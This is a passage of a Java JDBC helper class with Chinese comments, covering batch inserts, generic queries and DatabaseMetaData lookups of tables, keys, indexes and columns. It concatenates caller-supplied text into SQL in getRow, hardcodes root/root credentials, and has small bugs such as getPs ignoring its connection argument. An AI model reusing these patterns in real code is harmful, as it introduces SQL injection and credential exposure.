\"market\");\n\t\t\tprepareStmt.setString(3, \"beijing\");\n\n\t\t\tint n = prepareStmt.executeUpdate();\n\n\t\t\tSystem.out.println((n == 1) ? \"OK\" : \"error\");\n\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tclose();\n\t\t}\n\t}\n\n\t/**\n\t * 得到连接对象\n\t */\n\tpublic static Connection getConnection() {\n\t\tConnection conn = null;\n\t\ttry {\n\t\t\tconn = DriverManager.getConnection(DBURL, DBUSER, DBPASSWORD);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn conn;\n\t}\n\n\t// 通用的增删改方法\n\tpublic static boolean update(String sql, Object[] params) throws Exception {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = getConnection();\n\t\t\tconn.setAutoCommit(false);// 将事物默认提交设置为flase\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (int i = 0; params != null && i < params.length; i++)\n\t\t\t\tpstmt.setObject(i + 1, params[i]);// 通过setObject设置参数所对应的值。sql语句的参数用？占位\n\t\t\tint num = pstmt.executeUpdate();// executeUpdate会返回影响结果的条数\n\t\t\tconn.commit();\n\t\t\tconn.setAutoCommit(false);\n\t\t\tif (num > 0)\n\t\t\t\treturn true;\n\t\t\treturn false;\n\t\t} catch (SQLException e) {\n\t\t\tif (conn != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t} catch (SQLException e1) {\n\t\t\t\t\tthrow new Exception(e1);\n\t\t\t\t}\n\t\t\t}\n\t\t\tthrow new Exception(e);\n\t\t}\n\t}\n\n\t/**\n\t * @author\n\t * @throws SQLException\n\t * @since\n\t * @throws @description 对数据进行批量添加，当数据量大于100时，则整除1000时提交一次，wbs里存放的是批量数值数组的集合\n\t */\n\tpublic static boolean updateBatch(String sql, List wbs) throws Exception, SQLException {\n\t\tlogger.info(\"批量添加开始\");\n\t\tCalendar calendar = Calendar.getInstance();\n\t\tlong startTime = calendar.getTimeInMillis();\n\t\tcalendar = null;\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tResultSet rs = null;\n\t\tint count = 0;\n\t\tboolean flag = false;\n\t\ttry {\n\t\t\tconn = getConnection();\n\t\t\tconn.setAutoCommit(false);\n\t\t\tpstmt = conn.prepareStatement(sql);\n\t\t\tfor (Iterator it = wbs.iterator(); it.hasNext();) {\n\t\t\t\tObject[] params = (Object[]) it.next();\n\t\t\t\tcount++;\n\t\t\t\tfor (int i = 0; params != null && i < params.length; i++) {\n\t\t\t\t\tpstmt.setObject(i + 1, params[i]);\n\t\t\t\t}\n\t\t\t\tpstmt.addBatch();// 将一批参数添加到pstmt对象的批处理命令\n\t\t\t\tif (count % 100 == 0) {\n\t\t\t\t\tpstmt.executeBatch();\n\t\t\t\t\tconn.commit();// 当数量到100时提交\n\t\t\t\t\tflag = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tpstmt.executeBatch();\n\t\t\tconn.commit();\n\t\t\tconn.setAutoCommit(true);\n\t\t\tflag = true;\n\t\t\tif (flag) {\n\t\t\t\tlogger.info(\"批量添加结束\");\n\t\t\t\tCalendar calendarOld = Calendar.getInstance();\n\t\t\t\tlong endTime = calendarOld.getTimeInMillis();\n\t\t\t\t// logger.info(\"批量添加共耗时:\"+(endTime-startTime)+\"ms\");\n\t\t\t\tlogger.info(\"批量添加共耗时:\" + (endTime - startTime) + \"ms\");\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tlogger.info(\"批量添加失败\");\n\t\t\treturn false;\n\t\t} catch (SQLException e) {\n\t\t\tif (conn != null) {\n\t\t\t\ttry {\n\t\t\t\t\tconn.rollback();\n\t\t\t\t} catch (SQLException e1) {\n\t\t\t\t\tthrow new Exception(e);\n\t\t\t\t}\n\t\t\t}\n\t\t\tthrow new Exception(e);\n\t\t}\n\t}\n\n\t/**\n\t * 此处返回的是插入数据后生成的主键\n\t * \n\t * @param sql\n\t * @param params\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic static int insert(String sql, Object[] params) throws Exception, SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement pstmt = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = getConnection();\n\t\t\tpstmt = conn.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS);\n\t\t\tfor (int i = 0; params != null && i < params.length; i++)\n\t\t\t\tpstmt.setObject(i + 1, params[i]);\n\t\t\tpstmt.executeUpdate();\n\t\t\trs = pstmt.getGeneratedKeys();// 获取刚刚插入的主键rs\n\t\t\trs.next();// 获取刚刚获取的主键\n\t\t\tint key = rs.getInt(1);\n\t\t\tif (key > 0) {\n\t\t\t\treturn key;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tthrow new Exception(e);\n\t\t}\n\t}\n\n\tpublic static PreparedStatement getPs(Connection conn2, String sql) {\n\t\tPreparedStatement ps = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(sql);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn ps;\n\t}\n\n\t/**\n\t * \n\t * @Discription 执行有参数，无返回值的存储过程\n\t * @return void\n\t * @param conn\n\t * @throws Exception\n\t */\n\n\t/**\n\t * @说明 执行一条SQL\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static List<Object[]> excuteQuery(String sql) {\n\t\tConnection conn = null;\n\t\tPreparedStatement psta = null;\n\t\tResultSet resultSet = null;\n\t\tList<Object[]> relist = new ArrayList<Object[]>(); // 总数据\n\t\tObject[] objects = null; // 每行数据\n\t\ttry {\n\t\t\tconn = DataSourceUtil.getConn(); // 得到链接\n\t\t\tif (null != conn) {\n\t\t\t\tpsta = conn.prepareStatement(sql);\n\t\t\t\tresultSet = psta.executeQuery(); // 执行查询，返回结果接集合\n\t\t\t\tint count = resultSet.getMetaData().getColumnCount(); // 一共有多少列数据\n\t\t\t\t// 循环行\n\t\t\t\twhile (resultSet.next()) {\n\t\t\t\t\tobjects = new Object[count];\n\t\t\t\t\t// 数据集索引从 1 开始，而数组存放时是从 0 开始\n\t\t\t\t\tfor (int i = 1; i <= count; i++) {\n\t\t\t\t\t\tobjects[i - 1] = resultSet.getObject(i);\n\t\t\t\t\t}\n\t\t\t\t\trelist.add(objects);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\trelist = null;\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (null != resultSet)\n\t\t\t\t\tresultSet.close();\n\t\t\t\tif (null != psta)\n\t\t\t\t\tpsta.close();\n\t\t\t\tif (null != conn)\n\t\t\t\t\tconn.close();\n\t\t\t} catch (Exception e2) {\n\n\t\t\t}\n\t\t}\n\t\treturn relist;\n\t}\n\n\t/******************************************************************************************************/\n\t/******************************************************************************************************/\n\t/******************************************************************************************************/\n\t/******************************************************************************************************/\n\n\tpublic static List extractData1(ResultSet rs) throws SQLException {\n\t\tList results = new LinkedList();\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\tpublic static List extractData1(ResultSet rs, int rowsExpected) throws SQLException {\n\t\tList results = ((List) (rowsExpected <= 0 ? ((List) (new LinkedList()))\n\t\t\t\t: ((List) (new ArrayList(rowsExpected)))));\n\t\tint rowNum = 0;\n\t\tfor (; rs.next(); results.add(mapRow(rs, rowNum++)))\n\t\t\t;\n\t\treturn results;\n\t}\n\n\tpublic static Object mapRow1(ResultSet rs, int rowNum) throws SQLException {\n\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\tint columnCount = rsmd.getColumnCount();\n\t\tMap mapOfColValues = new HashMap(columnCount);\n\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\tString key = getColumnKey(rsmd.getColumnName(i));\n\t\t\tObject obj = getColumnValue(rs, i);\n\t\t\tmapOfColValues.put(key, obj);\n\t\t}\n\n\t\treturn mapOfColValues;\n\t}\n\n\tpublic static String getColumnKey(String columnName) {\n\t\treturn columnName;\n\t}\n\n\tpublic static Object getColumnValue(ResultSet rs, int index) throws SQLException {\n\t\treturn getResultSetValue(rs, index);\n\t}\n\n\tpublic static Object getResultSetValue1(ResultSet rs, int index) throws SQLException {\n\t\tObject obj = rs.getObject(index);\n\t\tif (obj instanceof Blob)\n\t\t\tobj = rs.getBytes(index);\n\t\telse if (obj instanceof Clob)\n\t\t\tobj = rs.getString(index);\n\t\telse if (obj != null && obj.getClass().getName().startsWith(\"oracle.sql.TIMESTAMP\"))\n\t\t\tobj = rs.getTimestamp(index);\n\t\telse if (obj != null && obj.getClass().getName().startsWith(\"oracle.sql.DATE\")) {\n\t\t\tString metaDataClassName = rs.getMetaData().getColumnClassName(index);\n\t\t\tif (\"java.sql.Timestamp\".equals(metaDataClassName) || \"oracle.sql.TIMESTAMP\".equals(metaDataClassName))\n\t\t\t\tobj = rs.getTimestamp(index);\n\t\t\telse\n\t\t\t\tobj = rs.getDate(index);\n\t\t} else if (obj != null && (obj instanceof Date)\n\t\t\t\t&& \"java.sql.Timestamp\".equals(rs.getMetaData().getColumnClassName(index)))\n\t\t\tobj = rs.getTimestamp(index);\n\t\treturn obj;\n\t}\n\n\tpublic static int getRow(String sql) {\n\t\tint i = 0;\n\t\tconn = JdbcUtil.getConnection();\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tps = conn.prepareStatement(\"SELECT COUNT(*) FROM \" + sql, ResultSet.TYPE_SCROLL_INSENSITIVE,\n\t\t\t\t\tResultSet.CONCUR_READ_ONLY);\n\t\t\trs = ps.executeQuery();\n\t\t\tif (rs.next()) {\n\t\t\t\ti = rs.getInt(1);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tSystem.out.println(e.getMessage());\n\t\t\ti = 0;\n\t\t} finally {\n\t\t\tSystem.out.println(\"SELECT COUNT(*) FROM \" + sql);\n\t\t\ttry {\n\t\t\t\trs.close();\n\t\t\t\tps.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t}\n\t\t}\n\t\treturn i;\n\t}\n\n\t/**\n\t * @Description: JDBC操作元数据示例-- DatabaseMetaData接口\n\t * @version V1.0\n\t */\n\t// ***************************************************************\n\t// 获得驱动\n\tprivate static String DRIVER = \"oracle.jdbc.driver.OracleDriver\";\n\t// 获得url\n\tprivate static String URL = \"jdbc:oracle:thin:@localhost:test\";\n\t// 获得连接数据库的用户名\n\tprivate static String USER = \"root\";\n\t// 获得连接数据库的密码\n\tprivate static String PASS = \"root\";\n\tstatic {\n\t\ttry {\n\t\t\t// 初始化JDBC驱动并让驱动加载到jvm中\n\t\t\tClass.forName(DRIVER);\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/*\n\t * public static Connection getConnection(){ Connection conn = null; try {\n\t * //连接数据库\n\t * \n\t * \n\t * 设置可获取REMARK备注信息 Properties props =new Properties();\n\t * props.put(\"remarksReporting\",\"true\"); props.put(\"user\", USER);\n\t * props.put(\"password\", PASS); conn =DriverManager.getConnection(URL,props);\n\t * \n\t * // conn = DriverManager.getConnection(URL,USER,PASS); conn =\n\t * JdbcUtil.getConnection(); conn.setAutoCommit(true); } catch (SQLException e)\n\t * { e.printStackTrace(); } return conn; }\n\t */\n\n\t// 关闭连接\n\tpublic static void close(Object o) {\n\t\tif (o == null) {\n\t\t\treturn;\n\t\t}\n\t\tif (o instanceof ResultSet) {\n\t\t\ttry {\n\t\t\t\t((ResultSet) o).close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t} else if (o instanceof Statement) {\n\t\t\ttry {\n\t\t\t\t((Statement) o).close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t} else if (o instanceof Connection) {\n\t\t\tConnection c = (Connection) o;\n\t\t\ttry {\n\t\t\t\tif (!c.isClosed()) {\n\t\t\t\t\tc.close();\n\t\t\t\t}\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void close(ResultSet rs, Statement stmt, Connection conn) {\n\t\tclose(rs);\n\t\tclose(stmt);\n\t\tclose(conn);\n\t}\n\n\tpublic static void close(ResultSet rs, Connection conn) {\n\t\tclose(rs);\n\t\tclose(conn);\n\t}\n\n\t/**\n\t * @Description: 获取数据库相关信息 @author: chenzw @CreateTime: 2014-1-27\n\t * 下午5:09:12 @throws\n\t */\n\tpublic static void getDataBaseInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\tSystem.out.println(\"数据库已知的用户: \" + dbmd.getUserName());\n\t\t\tSystem.out.println(\"数据库的系统函数的逗号分隔列表: \" + dbmd.getSystemFunctions());\n\t\t\tSystem.out.println(\"数据库的时间和日期函数的逗号分隔列表: \" + dbmd.getTimeDateFunctions());\n\t\t\tSystem.out.println(\"数据库的字符串函数的逗号分隔列表: \" + dbmd.getStringFunctions());\n\t\t\tSystem.out.println(\"数据库供应商用于 'schema' 的首选术语: \" + dbmd.getSchemaTerm());\n\t\t\tSystem.out.println(\"数据库URL: \" + dbmd.getURL());\n\t\t\tSystem.out.println(\"是否允许只读:\" + dbmd.isReadOnly());\n\t\t\tSystem.out.println(\"数据库的产品名称:\" + dbmd.getDatabaseProductName());\n\t\t\tSystem.out.println(\"数据库的版本:\" + dbmd.getDatabaseProductVersion());\n\t\t\tSystem.out.println(\"驱动程序的名称:\" + dbmd.getDriverName());\n\t\t\tSystem.out.println(\"驱动程序的版本:\" + dbmd.getDriverVersion());\n\n\t\t\tSystem.out.println(\"数据库中使用的表类型\");\n\t\t\trs = dbmd.getTableTypes();\n\t\t\twhile (rs.next()) {\n\t\t\t\tSystem.out.println(rs.getString(\"TABLE_TYPE\"));\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description:获得数据库中所有Schemas(对应于oracle中的Tablespace) @author:\n\t * chenzw @CreateTime: 2014-1-27 下午5:10:35 @throws\n\t */\n\tpublic static void getSchemasInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\trs = dbmd.getSchemas();\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableSchem = rs.getString(\"TABLE_SCHEM\");\n\t\t\t\tSystem.out.println(tableSchem);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: 获取数据库中所有的表信息 @author: chenzw @CreateTime: 2014-1-27\n\t * 下午5:08:28 @throws\n\t */\n\tpublic static void getTablesList() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\t/**\n\t\t\t * 设置连接属性,使得可获取到表的REMARK(备注)\n\t\t\t */\n//\t            ((OracleConnection)conn).setRemarksReporting(true);   \n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\tString[] types = { \"TABLE\" };\n\t\t\trs = dbmd.getTables(null, null, \"%\", types);\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableName = rs.getString(\"TABLE_NAME\"); // 表名\n\t\t\t\tString tableType = rs.getString(\"TABLE_TYPE\"); // 表类型\n\t\t\t\tString remarks = rs.getString(\"REMARKS\"); // 表备注\n\t\t\t\tSystem.out.println(tableName + \" - \" + tableType + \" - \" + remarks);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: 获取某表信息 @author: chenzw @CreateTime: 2014-1-27 下午3:26:30 @throws\n\t */\n\tpublic static void getTablesInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\t/**\n\t\t\t * 设置连接属性,使得可获取到表的REMARK(备注)\n\t\t\t */\n//\t            ((OracleConnection)conn).setRemarksReporting(true);   \n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\t/**\n\t\t\t * 获取给定类别中使用的表的描述。 方法原型:ResultSet getTables(String catalog,String\n\t\t\t * schemaPattern,String tableNamePattern,String[] types); catalog -\n\t\t\t * 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 schema -\n\t\t\t * 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列;\n\t\t\t * 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); tableNamePattern -\n\t\t\t * 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); types - 表类型数组; \"TABLE\"、\"VIEW\"、\"SYSTEM\n\t\t\t * TABLE\"、\"GLOBAL TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和\n\t\t\t * \"SYNONYM\";null表示包含所有的表类型;可包含单字符通配符(\"_\"),或多字符通配符(\"%\");\n\t\t\t */\n\t\t\trs = dbmd.getTables(null, null, \"CUST_INTER_TF_SERVICE_REQ\", new String[] { \"TABLE\", \"VIEW\" });\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableCat = rs.getString(\"TABLE_CAT\"); // 表类别(可为null)\n\t\t\t\tString tableSchemaName = rs.getString(\"TABLE_SCHEM\");// 表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知\n\t\t\t\tString tableName = rs.getString(\"TABLE_NAME\"); // 表名\n\t\t\t\tString tableType = rs.getString(\"TABLE_TYPE\"); // 表类型,典型的类型是 \"TABLE\"、\"VIEW\"、\"SYSTEM TABLE\"、\"GLOBAL\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// TEMPORARY\"、\"LOCAL TEMPORARY\"、\"ALIAS\" 和 \"SYNONYM\"。\n\t\t\t\tString remarks = rs.getString(\"REMARKS\"); // 表备注\n\n\t\t\t\tSystem.out.println(\n\t\t\t\t\t\ttableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + tableType + \" - \" + remarks);\n\t\t\t}\n\t\t} catch (Exception ex) {\n\t\t\tex.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: 获取表主键信息 @author: chenzw @CreateTime: 2014-1-27\n\t * 下午5:12:53 @throws\n\t */\n\tpublic static void getPrimaryKeysInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\t/**\n\t\t\t * 获取对给定表的主键列的描述 方法原型:ResultSet getPrimaryKeys(String catalog,String\n\t\t\t * schema,String table); catalog - 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 schema\n\t\t\t * - 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列;\n\t\t\t * 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\");\n\t\t\t */\n//\t            rs = dbmd.getPrimaryKeys(null, null, \"CUST_INTER_TF_SERVICE_REQ\");    \n\t\t\trs = dbmd.getPrimaryKeys(null, null, \"sys_fileupload\");\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableCat = rs.getString(\"TABLE_CAT\"); // 表类别(可为null)\n\t\t\t\tString tableSchemaName = rs.getString(\"TABLE_SCHEM\");// 表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知\n\t\t\t\tString tableName = rs.getString(\"TABLE_NAME\"); // 表名\n\t\t\t\tString columnName = rs.getString(\"COLUMN_NAME\");// 列名\n\t\t\t\tshort keySeq = rs.getShort(\"KEY_SEQ\");// 序列号(主键内值1表示第一列的主键，值2代表主键内的第二列)\n\t\t\t\tString pkName = rs.getString(\"PK_NAME\"); // 主键名称\n\n\t\t\t\tSystem.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + columnName + \" - \"\n\t\t\t\t\t\t+ keySeq + \" - \" + pkName);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: 获取表索引信息 @author: chenzw @CreateTime: 2014-1-27\n\t * 下午5:12:04 @throws\n\t */\n\tpublic static void getIndexInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\t/**\n\t\t\t * 获取给定表的索引和统计信息的描述 方法原型:ResultSet getIndexInfo(String catalog,String\n\t\t\t * schema,String table,boolean unique,boolean approximate) catalog -\n\t\t\t * 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 schema -\n\t\t\t * 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列;\n\t\t\t * 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); table - 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); unique\n\t\t\t * - 该参数为 true时,仅返回唯一值的索引; 该参数为 false时,返回所有索引; approximate -\n\t\t\t * 该参数为true时,允许结果是接近的数据值或这些数据值以外的值;该参数为 false时,要求结果是精确结果;\n\t\t\t */\n\t\t\trs = dbmd.getIndexInfo(null, null, \"CUST_INTER_TF_SERVICE_REQ\", false, true);\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableCat = rs.getString(\"TABLE_CAT\"); // 表类别(可为null)\n\t\t\t\tString tableSchemaName = rs.getString(\"TABLE_SCHEM\");// 表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知\n\t\t\t\tString tableName = rs.getString(\"TABLE_NAME\"); // 表名\n\t\t\t\tboolean nonUnique = rs.getBoolean(\"NON_UNIQUE\");// 索引值是否可以不唯一,TYPE为 tableIndexStatistic时索引值为 false;\n\t\t\t\tString indexQualifier = rs.getString(\"INDEX_QUALIFIER\");// 索引类别（可能为空）,TYPE为 tableIndexStatistic 时索引类别为\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// null;\n\t\t\t\tString indexName = rs.getString(\"INDEX_NAME\");// 索引的名称 ;TYPE为 tableIndexStatistic 时索引名称为 null;\n\t\t\t\t/**\n\t\t\t\t * 索引类型： tableIndexStatistic - 此标识与表的索引描述一起返回的表统计信息 tableIndexClustered - 此为集群索引\n\t\t\t\t * tableIndexHashed - 此为散列索引 tableIndexOther - 此为某种其他样式的索引\n\t\t\t\t */\n\t\t\t\tshort type = rs.getShort(\"TYPE\");// 索引类型;\n\t\t\t\tshort ordinalPosition = rs.getShort(\"ORDINAL_POSITION\");// 在索引列顺序号;TYPE为 tableIndexStatistic 时该序列号为零;\n\t\t\t\tString columnName = rs.getString(\"COLUMN_NAME\");// 列名;TYPE为 tableIndexStatistic时列名称为 null;\n\t\t\t\tString ascOrDesc = rs.getString(\"ASC_OR_DESC\");// 列排序顺序:升序还是降序[A:升序; B:降序];如果排序序列不受支持,可能为 null;TYPE为\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// tableIndexStatistic时排序序列为 null;\n\t\t\t\tint cardinality = rs.getInt(\"CARDINALITY\"); // 基数;TYPE为 tableIndexStatistic 时,它是表中的行数;否则,它是索引中唯一值的数量。\n\t\t\t\tint pages = rs.getInt(\"PAGES\"); // TYPE为 tableIndexStatisic时,它是用于表的页数,否则它是用于当前索引的页数。\n\t\t\t\tString filterCondition = rs.getString(\"FILTER_CONDITION\"); // 过滤器条件,如果有的话(可能为 null)。\n\n\t\t\t\tSystem.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName + \" - \" + nonUnique + \" - \"\n\t\t\t\t\t\t+ indexQualifier + \" - \" + indexName + \" - \" + type + \" - \" + ordinalPosition + \" - \"\n\t\t\t\t\t\t+ columnName + \" - \" + ascOrDesc + \" - \" + cardinality + \" - \" + pages + \" - \"\n\t\t\t\t\t\t+ filterCondition);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: 获取表中列值信息 @author: chenzw @CreateTime: 2014-1-27\n\t * 下午2:55:56 @throws\n\t */\n\tpublic static void getColumnsInfo() {\n\t\tConnection conn = getConnection();\n\t\tResultSet rs = null;\n\n\t\ttry {\n\t\t\t/**\n\t\t\t * 设置连接属性,使得可获取到列的REMARK(备注)\n\t\t\t */\n//\t            ((OracleConnection)conn).setRemarksReporting(true);   \n\t\t\tDatabaseMetaData dbmd = conn.getMetaData();\n\t\t\t/**\n\t\t\t * 获取可在指定类别中使用的表列的描述。 方法原型:ResultSet getColumns(String catalog,String\n\t\t\t * schemaPattern,String tableNamePattern,String columnNamePattern) catalog -\n\t\t\t * 表所在的类别名称;\"\"表示获取没有类别的列,null表示获取所有类别的列。 schema -\n\t\t\t * 表所在的模式名称(oracle中对应于Tablespace);\"\"表示获取没有模式的列,null标识获取所有模式的列;\n\t\t\t * 可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); tableNamePattern -\n\t\t\t * 表名称;可包含单字符通配符(\"_\"),或多字符通配符(\"%\"); columnNamePattern - 列名称;\n\t\t\t * \"\"表示获取列名为\"\"的列(当然获取不到);null表示获取所有的列;可包含单字符通配符(\"_\"),或多字符通配符(\"%\");\n\t\t\t */\n\t\t\trs = dbmd.getColumns(null, null, \"sys_fileupload\", null);\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tString tableCat = rs.getString(\"TABLE_CAT\"); // 表类别（可能为空）\n\t\t\t\tString tableSchemaName = rs.getString(\"TABLE_SCHEM\"); // 表模式（可能为空）,在oracle中获取的是命名空间,其它数据库未知\n\t\t\t\tString tableName_ = rs.getString(\"TABLE_NAME\"); // 表名\n\t\t\t\tString columnName = rs.getString(\"COLUMN_NAME\"); // 列名\n\t\t\t\tint dataType = rs.getInt(\"DATA_TYPE\"); // 对应的java.sql.Types的SQL类型(列类型ID)\n\t\t\t\tString dataTypeName = rs.getString(\"TYPE_NAME\"); // java.sql.Types类型名称(列类型名称)\n\t\t\t\tint columnSize = rs.getInt(\"COLUMN_SIZE\"); // 列大小\n\t\t\t\tint decimalDigits = rs.getInt(\"DECIMAL_DIGITS\"); // 小数位数\n\t\t\t\tint numPrecRadix = rs.getInt(\"NUM_PREC_RADIX\"); // 基数（通常是10或2） --未知\n\t\t\t\t/**\n\t\t\t\t * 0 (columnNoNulls) - 该列不允许为空 1 (columnNullable) - 该列允许为空 2\n\t\t\t\t * (columnNullableUnknown) - 不确定该列是否为空\n\t\t\t\t */\n\t\t\t\tint nullAble = rs.getInt(\"NULLABLE\"); // 是否允许为null\n\t\t\t\tString remarks = rs.getString(\"REMARKS\"); // 列描述\n\t\t\t\tString columnDef = rs.getString(\"COLUMN_DEF\"); // 默认值\n\t\t\t\tint charOctetLength = rs.getInt(\"CHAR_OCTET_LENGTH\"); // 对于 char 类型，该长度是列中的最大字节数\n\t\t\t\tint ordinalPosition = rs.getInt(\"ORDINAL_POSITION\"); // 表中列的索引（从1开始）\n\t\t\t\t/**\n\t\t\t\t * ISO规则用来确定某一列的是否可为空(等同于NULLABLE的值:[ 0:'YES'; 1:'NO'; 2:''; ]) YES -- 该列可以有空值;\n\t\t\t\t * NO -- 该列不能为空; 空字符串--- 不知道该列是否可为空\n\t\t\t\t */\n\t\t\t\tString isNullAble = rs.getString(\"IS_NULLABLE\");\n\n\t\t\t\t/**\n\t\t\t\t * 指示此列是否是自动递增 YES -- 该列是自动递增的 NO -- 该列不是自动递增 空字串--- 不能确定该列是否自动递增\n\t\t\t\t */\n\t\t\t\t// String isAutoincrement = rs.getString(\"IS_AUTOINCREMENT\"); //该参数测试报错\n\n\t\t\t\tSystem.out.println(tableCat + \" - \" + tableSchemaName + \" - \" + tableName_ + \" - \" + columnName + \" - \"\n\t\t\t\t\t\t+ dataType + \" - \" + dataTypeName + \" - \" + columnSize + \" - \" + decimalDigits + \" - \"\n\t\t\t\t\t\t+ numPrecRadix + \" - \" + nullAble + \" - \" + remarks + \" - \" + columnDef + \" - \"\n\t\t\t\t\t\t+ charOctetLength + \" - \" + ordinalPosition + \" - \" + isNullAble);\n\n\t\t\t}\n\t\t} catch (SQLException ex) {\n\t\t\tex.printStackTrace();\n\t\t} finally {\n\t\t\tJdbcUtil.close(rs, conn);\n\t\t}\n\t}\n\n\t/**\n\t * @Description: TODO @author: chenzw @CreateTime: 2014-1-17 下午2:47:45 @param\n\t * args @throws\n\t */\n\tpublic static void main(String[] args) {\n\t\tgetDataBaseInfo(); // 获取数据库信息\n\t\tgetSchemasInfo(); // 获取数据库所有Schema\n\t\tgetTablesList(); // 获取某用户下所有的表\n\t\tgetTablesInfo(); // 获取表信息\n\t\tgetPrimaryKeysInfo(); // 获取表主键信息\n\t\tgetIndexInfo(); // 获取表索引信息\n\t\tgetColumnsInfo(); // 获取表中列值信息\n\t}\n\n}\n"
  },
  {
